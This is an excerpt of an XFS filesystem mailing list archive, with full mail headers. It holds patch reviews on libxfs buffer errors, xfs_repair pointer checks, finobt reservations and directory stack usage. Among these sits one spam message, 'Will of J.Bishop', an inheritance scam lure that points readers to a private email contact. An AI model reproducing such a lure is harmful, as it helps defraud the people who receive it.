X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145324 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/19/14, 11:55 PM, Dave Chinner wrote: > From: Dave Chinner > > If we've read a buffer and it's had an error (e.g a bad CRC) and the > caller corrects the problem with the buffer and writes it via > libxfs_writebuf() without clearing the error on the buffer, > subsequent reads of the buffer while it is still in cache can see > that error and fail inappropriately. > > xfs/033 demonstrates this error, where phase 3 detects the corrupted > root inode and clears, but doesn't clear the b_error field. Later in > phase 6, the code that rebuilds the root directory tries to read the > root inode and sees a buffer with an error on it, thereby triggering > a fatal repair failure: > > Phase 3 - for each AG... > - scan and clear agi unlinked lists... > - process known inodes and perform inode discovery... > - agno = 0 > xfs_inode_buf_verify: XFS_CORRUPTION_ERROR > bad magic number 0x0 on inode 64 > .... > cleared root inode 64 > .... > Phase 6 - check inode connectivity... > reinitializing root directory > xfs_imap_to_bp: xfs_trans_read_buf() returned error 117. > > fatal error -- could not iget root inode -- error - 117 > # > > Fix this by assuming buffers that are written are clean and correct > and hence we can zero the b_error field before retiring the buffer > to the cache. Thanks; Reviewed-by: Eric Sandeen > Reported-by: Eric Sandeen > Signed-off-by: Dave Chinner > --- > libxfs/rdwr.c | 10 ++++++++++ > 1 file changed, 10 insertions(+) > > diff --git a/libxfs/rdwr.c b/libxfs/rdwr.c > index 78a9b37..d0ff15b 100644 > --- a/libxfs/rdwr.c > +++ b/libxfs/rdwr.c > @@ -890,6 +890,11 @@ libxfs_writebufr(xfs_buf_t *bp) > int > libxfs_writebuf_int(xfs_buf_t *bp, int flags) > { > + /* > + * Clear any error hanging over from reading the buffer. This prevents > + * subsequent reads after this write from seeing stale errors. > + */ > + bp->b_error = 0; > bp->b_flags |= (LIBXFS_B_DIRTY | flags); > return 0; > } > @@ -903,6 +908,11 @@ libxfs_writebuf(xfs_buf_t *bp, int flags) > (long long)LIBXFS_BBTOOFF64(bp->b_bn), > (long long)bp->b_bn); > #endif > + /* > + * Clear any error hanging over from reading the buffer. This prevents > + * subsequent reads after this write from seeing stale errors. > + */ > + bp->b_error = 0; > bp->b_flags |= (LIBXFS_B_DIRTY | flags); > libxfs_putbuf(bp); > return 0; > From sandeen@sandeen.net Thu Feb 20 13:12:48 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 723E47F3F for ; Thu, 20 Feb 2014 13:12:48 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 56F9630408C for ; Thu, 20 Feb 2014 11:12:48 -0800 (PST) X-ASG-Debug-ID: 1392923567-04cbb00c2b621d40001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id iEkAkiUvCReA1U2K for ; Thu, 20 Feb 2014 11:12:47 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id CBEF86541623; Thu, 20 Feb 2014 13:12:46 -0600 (CST) Message-ID: <530653AE.9070705@sandeen.net> Date: Thu, 20 Feb 2014 13:12:46 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Christoph Hellwig , Eric Sandeen CC: xfs-oss Subject: Re: [PATCH] xfs_repair: fix sibling pointer tests in verify_dir2_path() References: <53051DB5.4080403@redhat.com> <20140220154122.GC26146@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs_repair: fix sibling pointer tests in verify_dir2_path() In-Reply-To: <20140220154122.GC26146@infradead.org> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392923567 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145324 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/20/14, 9:41 AM, Christoph Hellwig wrote: > On Wed, Feb 19, 2014 at 03:10:13PM -0600, Eric Sandeen wrote: >> RH QE reported that if we create a 1G filesystem with default >> options, mount it, and create inodes until full, then run >> repair, repair reports corruption in verify_dir2_path() with: >> >>> bad back pointer in block 8390324 for directory inode 131 > > Can you please wire this up for xfstests? was working on it, but am hitting something weird, we never hit ENOSPC when we hit maxicount; we keep creating inodes but stop incrementing sb counters. Urk. (something in lazy sb code...) -Eric >> >> The commit 88b32f0 xfs: add CRCs to dir2/da node blocks >> had a small error which regressed this; although we switch >> to the "newnode," to check sibling pointers, we re-populate >> the node hdr with the old "node" data. This causes the >> backpointer test to be testing the wrong node's values. >> >> Fixing this bug fixes the testcase. >> >> Signed-off-by: Eric Sandeen > > Looks good, > > Reviewed-by: Christoph Hellwig > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From david@fromorbit.com Thu Feb 20 14:50:27 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 17FB47FC0 for ; Thu, 20 Feb 2014 14:50:27 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id D424F304089 for ; Thu, 20 Feb 2014 12:50:23 -0800 (PST) X-ASG-Debug-ID: 1392929419-04bdf00fc01fe980001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id rMq6vWcglbv08a7H for ; Thu, 20 Feb 2014 12:50:20 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsIHAMppBlN5LJYe/2dsb2JhbABZgwa7TYVRgRAXdIIlAQEFJxMcIxAIAw4KCQwZDwUlAyETiATNcxcWjk4HCoQuBJgvkiWBb4FSKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 21 Feb 2014 07:20:19 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WGaZU-0002oC-Da; Fri, 21 Feb 2014 07:50:16 +1100 Date: Fri, 21 Feb 2014 07:50:16 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH v3 04/11] xfs: update inode allocation/free transaction reservations for finobt Message-ID: <20140220205016.GN4916@dastard> X-ASG-Orig-Subj: Re: [PATCH v3 04/11] xfs: update inode allocation/free transaction reservations for finobt References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> <1391536182-9048-5-git-send-email-bfoster@redhat.com> <20140211064609.GE13647@dastard> <530393F8.4070106@redhat.com> <20140220020101.GL4916@dastard> <53064E26.2050607@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <53064E26.2050607@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392929419 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145327 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Thu, Feb 20, 2014 at 01:49:10PM -0500, Brian Foster wrote: > On 02/19/2014 09:01 PM, Dave Chinner wrote: > > [patched in the extra case from your subsequent reply] > > > > On Tue, Feb 18, 2014 at 12:10:16PM -0500, Brian Foster wrote: > >> On 02/11/2014 01:46 AM, Dave Chinner wrote: > >>> On Tue, Feb 04, 2014 at 12:49:35PM -0500, Brian Foster wrote: > >>>> Create the xfs_calc_finobt_res() helper to calculate the finobt log > >>>> reservation for inode allocation and free. Update > >>>> XFS_IALLOC_SPACE_RES() to reserve blocks for the additional finobt > >>>> insertion on inode allocation. Create XFS_IFREE_SPACE_RES() to > >>>> reserve blocks for the potential finobt record insertion on inode > >>>> free (i.e., if an inode chunk was previously fully allocated). > >>>> > >>>> Signed-off-by: Brian Foster > >>>> --- > >>>> fs/xfs/xfs_inode.c | 4 +++- > >>>> fs/xfs/xfs_trans_resv.c | 47 +++++++++++++++++++++++++++++++++++++++++++---- > >>>> fs/xfs/xfs_trans_space.h | 7 ++++++- > >>>> 3 files changed, 52 insertions(+), 6 deletions(-) > >>>> > >>>> diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c > >>>> index 001aa89..57c77ed 100644 > >>>> --- a/fs/xfs/xfs_inode.c > >>>> +++ b/fs/xfs/xfs_inode.c > >>>> @@ -1730,7 +1730,9 @@ xfs_inactive_ifree( > >>>> int error; > >>>> > >>>> tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); > >>>> - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, 0, 0); > >>>> + tp->t_flags |= XFS_TRANS_RESERVE; > >>>> + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, > >>>> + XFS_IFREE_SPACE_RES(mp), 0); > >>> > >>> Can you add a comment explaining why the XFS_TRANS_RESERVE flag is > >>> used here, and why it's use won't lead to accelerated reserve pool > >>> depletion? ..... > >> Perhaps another argument could be made that it's rather unlikely we run > >> into an fs with as many 0-sized (or sub-inode chunk sized) files as > >> required to deplete the reserve pool without freeing any space, and we > >> should just touch up the failure handling. E.g., > >> > >> 1.) Continue to reserve enable the ifree transaction. Consider expanding > >> the reserve pool on finobt-enabled fs' if appropriate. Note that this is > >> not guaranteed to provide enough resources to populate the finobt to the > >> level of the inobt without freeing up more space. > >> 2.) Attempt a !XFS_TRANS_RESERVE tp reservation in xfs_inactive_ifree(). > >> If fails, xfs_warn()/notice() and enable XFS_TRANS_RESERVE. > >> 3.) Attempt XFS_TRANS_RESERVE reservation. If fails, xfs_notice() and > >> shutdown. > > > > I don't think we ned to shut down. Indeed, there's no point in doing > > an !XFS_TRANS_RESERVE in the first place because a warning will just > > generate unnecessary noise in the logs. > > > > Realistically, we can leave inodes on the unlinked list > > indefinitely without causing any significant problems except for > > there being used space that users can't account for from the > > namespace. Log recovery cleans them up when it runs, or blows away > > the unlinked list when it fails, and that results in leaked inodes. > > If we get to that point, xfs-repair will clean it up just fine > > unless there's still not enough space. At that point, it's not a > > problem we can solve with tools - the user has to free up some space > > in the filesystem.... > > Ok, the current failure behavior (as unlikely as it seems to hit) seems > less hasty given the roadmap for improved unlinked list management. > > I'm not sure how log recovery plays into things unless there is a crash. > In my experiments, the inodes are simply never freed and linger on the > unlinked list until repair. Repair moves everything to lost+found as > opposed to freeing (I presume since the inodes are still "allocated" > after all), but repairs the fs nonetheless. With the recovery-without-a-crash case, the recovery of unlinked inodes happens in the second phase of recovery (i.e via xlog_recover_process_iunlinks() in xlog_recover_finish()). This is after we've done the actual log recovery (so that unlinked list changes have been recovered), and so effectively in not so much a part of "log recovery" but a part of "unclean shutdown cleanup". That currently is associates with log recovery, but there's not reason why we couldn't just do it unconditionally on a mount. If we are going to leave inodes on the unlinked lists and allocate directly from there, then it kind of makes sense to have the unlinked lists cleaned up at mount time, even if it is only by kicking a background cleaner thread... Cheers, Dave. -- Dave Chinner david@fromorbit.com From BATV+e074e71b01c5f6abf4de+3833+infradead.org+hch@bombadil.srs.infradead.org Thu Feb 20 15:15:04 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EAA6D7FBA for ; Thu, 20 Feb 2014 15:15:04 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id D491C304064 for ; Thu, 20 Feb 2014 13:15:04 -0800 (PST) X-ASG-Debug-ID: 1392930899-04cb6c06cf31a330001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id z2ZUmZOP0jp8yv8C (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 20 Feb 2014 13:14:59 -0800 (PST) X-Barracuda-Envelope-From: BATV+e074e71b01c5f6abf4de+3833+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WGaxN-0002EI-CJ; Thu, 20 Feb 2014 21:14:57 +0000 Date: Thu, 20 Feb 2014 13:14:57 -0800 From: Christoph Hellwig To: Brian Foster Cc: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH v3 04/11] xfs: update inode allocation/free transaction reservations for finobt Message-ID: <20140220211457.GA8476@infradead.org> X-ASG-Orig-Subj: Re: [PATCH v3 04/11] xfs: update inode allocation/free transaction reservations for finobt References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> <1391536182-9048-5-git-send-email-bfoster@redhat.com> <20140211064609.GE13647@dastard> <530393F8.4070106@redhat.com> <20140220020101.GL4916@dastard> <53064E26.2050607@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <53064E26.2050607@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1392930899 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145327 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC5_SA210e Custom Rule SA210e On Thu, Feb 20, 2014 at 01:49:10PM -0500, Brian Foster wrote: > > Right, that can happen. But my question is this: how realistic is it > > that we have someone who has ENOSPC because of enough zero length > > files to trigger this? I've never seen an application or user try to > > store any significant number of zero length files, so I suspect this > > is a theoretical problem, not a practical one. > > > > Probably not very realistic. ;) The only thing I know that does rely on > some zero-length files is gluster distribution to represent "link files" > when one a file that hashes to one server ends up stored on another. > Even then, I don't see how we would ever have a situation where those > link files exist in such massive numbers and are removed in bulk. So > it's likely a pathological scenario. Zero data blocks are the only case for device nodes or fifos, very common for symlinks that can be stored inline, and not unusual for directories. From david@fromorbit.com Thu Feb 20 15:24:40 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EF2DD7F63 for ; Thu, 20 Feb 2014 15:24:39 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6F747AC009 for ; Thu, 20 Feb 2014 13:24:36 -0800 (PST) X-ASG-Debug-ID: 1392931473-04cb6c6de062fbc0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id nCU7uKpEQ1hAPr0t for ; Thu, 20 Feb 2014 13:24:34 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApwOAPdxBlN5LJYe/2dsb2JhbABZgwY4qFwDkjaFUYEQF3SCJQEBBTocIxAIAw4HAwklDwUlAyETiAQOzT0XFoxSgXwHhDgEmC+KUIdVg0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 21 Feb 2014 07:54:33 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WGary-0002rp-JQ; Fri, 21 Feb 2014 08:09:22 +1100 Date: Fri, 21 Feb 2014 08:09:22 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 3/3] xfs: allocate xfs_da_args to reduce stack footprint Message-ID: <20140220210922.GO4916@dastard> X-ASG-Orig-Subj: Re: [PATCH 3/3] xfs: allocate xfs_da_args to reduce stack footprint References: <1392783402-4726-1-git-send-email-david@fromorbit.com> <1392783402-4726-4-git-send-email-david@fromorbit.com> <20140220145601.GC8366@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140220145601.GC8366@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392931473 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145327 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 20, 2014 at 06:56:01AM -0800, Christoph Hellwig wrote: > On Wed, Feb 19, 2014 at 03:16:42PM +1100, Dave Chinner wrote: > > From: Dave Chinner > > > > The struct xfs_da_args used to pass directory/attribute operation > > information to the lower layers is 128 bytes in size and is > > allocated on the stack. Dynamically allocate them to reduce the > > stack footprint of directory operations. > > Are we having stack space problems in the directory code as well, > without all the VM code above it? I'm defintively a bit scared about > adding another memory allocation to every single directory operation. Oh, yeah. We've been having problems for some time now. When I introduced the stack switch in the allocation path, i also did it for metadata allocations because we'd seen a couple of reports of stack overflows through the directory code. That got reverted because of the performance issues it caused, so the directory code is simply just another ticking timebomb. See the thread here: http://oss.sgi.com/pipermail/xfs/2014-February/034018.html and, specifically: http://oss.sgi.com/pipermail/xfs/2014-February/034156.html Of further interest: http://oss.sgi.com/pipermail/xfs/2014-February/034051.html http://oss.sgi.com/pipermail/xfs/2014-February/034057.html http://oss.sgi.com/pipermail/xfs/2014-February/034053.html > > > + args = kmem_zalloc(sizeof(*args), KM_SLEEP | KM_NOFS); > > + if (!args) > > + return ENOMEM; > > KM_SLEEP is the default when KM_NOFS is set. Also KM_SLEEP will never > return a NULL pointer, either remove the handling or make it an > KM_MAYFAIL allocation. It might be, but it's the same pattern we use everywhere else. It's as much documentation of what the code requires, because we have KM_MAYFAIL | KM_NOFS in other places. I'll kill the ENOMEM check - that's just habit.... > > > + /* > > + * If we don't use KM_NOFS here, lockdep will through false positive > > + * deadlock warnings when we come through here of the non-transactional > > + * lookup path because the allocation can recurse into inode reclaim. > > + * Doing this avoids having to add a bunch of lockdep class > > + * annotations into the reclaim patch for the ilock. > > + */ > > + args = kmem_zalloc(sizeof(*args), KM_SLEEP | KM_NOFS); > > I don't understand that comment. We do use KM_NOFS here unlike what the > comment claims, and the comment seems to explain why we actually need > KM_NOFS as far as I can tell. The comment says "if we *don't* use KM_NOFS", so AFAICT, it's correct. I can rewrite it to be more obvious. Cheers, Dave. -- Dave Chinner david@fromorbit.com From brandon.cameron@twcable.com Thu Feb 20 15:29:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE, T_FILL_THIS_FORM_SHORT autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2CD9D7F78 for ; Thu, 20 Feb 2014 15:29:01 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 08AF08F8078 for ; Thu, 20 Feb 2014 13:28:57 -0800 (PST) X-ASG-Debug-ID: 1392931733-04cb6c6de062ffe0001-w1Z2WR Received: from cdcipgw01.twcable.com (cdcipgw01.twcable.com [165.237.91.110]) by cuda.sgi.com with ESMTP id nr64ltNDY4UrFgmy for ; Thu, 20 Feb 2014 13:28:53 -0800 (PST) X-Barracuda-Envelope-From: brandon.cameron@twcable.com X-Barracuda-Apparent-Source-IP: 165.237.91.110 X-SENDER-IP: 10.136.163.11 X-SENDER-REPUTATION: None X-IronPort-AV: E=Sophos;i="4.97,514,1389762000"; d="scan'208,217";a="71122266" Received: from unknown (HELO PRVPEXHUB02.corp.twcable.com) ([10.136.163.11]) by cdcipgw01.twcable.com with ESMTP/TLS/RC4-MD5; 20 Feb 2014 16:28:25 -0500 Received: from PRVPEXVS12.corp.twcable.com ([10.136.163.45]) by PRVPEXHUB02.corp.twcable.com ([10.136.163.11]) with mapi; Thu, 20 Feb 2014 16:28:38 -0500 From: "Cameron, Brandon" Date: Thu, 20 Feb 2014 16:28:38 -0500 Subject: Will of J.Bishop Thread-Topic: Will of J.Bishop X-ASG-Orig-Subj: Will of J.Bishop Thread-Index: AQHPLoK3h1ny/9L+HESYNYBvm7bVpg== Message-ID: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_E06D659D76FA124C95424B306F83B9810707E6EFB4PRVPEXVS12cor_" MIME-Version: 1.0 X-Barracuda-Connect: cdcipgw01.twcable.com[165.237.91.110] X-Barracuda-Start-Time: 1392931733 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: 2bf61137fefaea1560d948c5ec89508c-2129-htm X-Barracuda-Spam-Score: 1.23 X-Barracuda-Spam-Status: No, SCORE=1.23 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MISSING_HEADERS, THREAD_INDEX, THREAD_TOPIC, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145327 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 1.21 MISSING_HEADERS Missing To: header 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; --_000_E06D659D76FA124C95424B306F83B9810707E6EFB4PRVPEXVS12cor_ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable 21st Feb 2014 Hi dear, I am sending you this email on behalf of Mrs. Jenny Bishopand in regards to= her last wish. She has decided to will her inheritance to you for Humanitarian work and your perso= nal use. For more information you are to contact her on this private email address: = jennybishop@rogers.com Yours, Brandon Cameron ________________________________ This E-mail and any of its attachments may contain Time Warner Cable propri= etary information, which is privileged, confidential, or subject to copyrig= ht belonging to Time Warner Cable. This E-mail is intended solely for the u= se of the individual or entity to which it is addressed. If you are not the= intended recipient of this E-mail, you are hereby notified that any dissem= ination, distribution, copying, or action taken in relation to the contents= of and attachments to this E-mail is strictly prohibited and may be unlawf= ul. If you have received this E-mail in error, please notify the sender imm= ediately and permanently delete the original and any copy of this E-mail an= d any printout. --_000_E06D659D76FA124C95424B306F83B9810707E6EFB4PRVPEXVS12cor_ Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
=  
21st Feb 2014
Hi dear,
I am sending you this email on behalf of Mrs. Jen= ny Bishopand in regards to her last wish. She has
decided to will her inheritance to you for Humani= tarian work and your personal
use.
For more information you are to contact her on this private email address: = jennybishop@rogers.com
Yours,
Brandon Cameron


This E-mail and any of its a= ttachments may contain Time Warner Cable proprietary information, which is = privileged, confidential, or subject to copyright belonging to Time Warner = Cable. This E-mail is intended solely for the use of the individual or entity to which it is addressed. If you a= re not the intended recipient of this E-mail, you are hereby notified that = any dissemination, distribution, copying, or action taken in relation to th= e contents of and attachments to this E-mail is strictly prohibited and may be unlawful. If you have receiv= ed this E-mail in error, please notify the sender immediately and permanent= ly delete the original and any copy of this E-mail and any printout.
--_000_E06D659D76FA124C95424B306F83B9810707E6EFB4PRVPEXVS12cor_-- From david@fromorbit.com Thu Feb 20 15:39:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5E7A17FBA for ; Thu, 20 Feb 2014 15:39:49 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id DCB70AC009 for ; Thu, 20 Feb 2014 13:39:48 -0800 (PST) X-ASG-Debug-ID: 1392932386-04bdf00fc0201d70001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id sU8O1mmHD0YH1gpP for ; Thu, 20 Feb 2014 13:39:46 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsIHAIp1BlN5LJYe/2dsb2JhbABZgwa7ToVRgRAXdIIlAQEEATocIwULCAMVAwklDwUlAyETh30HzUsXFo5OB4Q4BJgvkiWDQSg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 21 Feb 2014 08:09:46 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WGbLL-0002wb-MP; Fri, 21 Feb 2014 08:39:43 +1100 Date: Fri, 21 Feb 2014 08:39:43 +1100 From: Dave Chinner To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/2] libxfs: contiguous buffers are not discontigous Message-ID: <20140220213943.GP4916@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/2] libxfs: contiguous buffers are not discontigous References: <1392875722-4390-1-git-send-email-david@fromorbit.com> <1392875722-4390-2-git-send-email-david@fromorbit.com> <5306521A.8010207@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5306521A.8010207@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392932386 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com 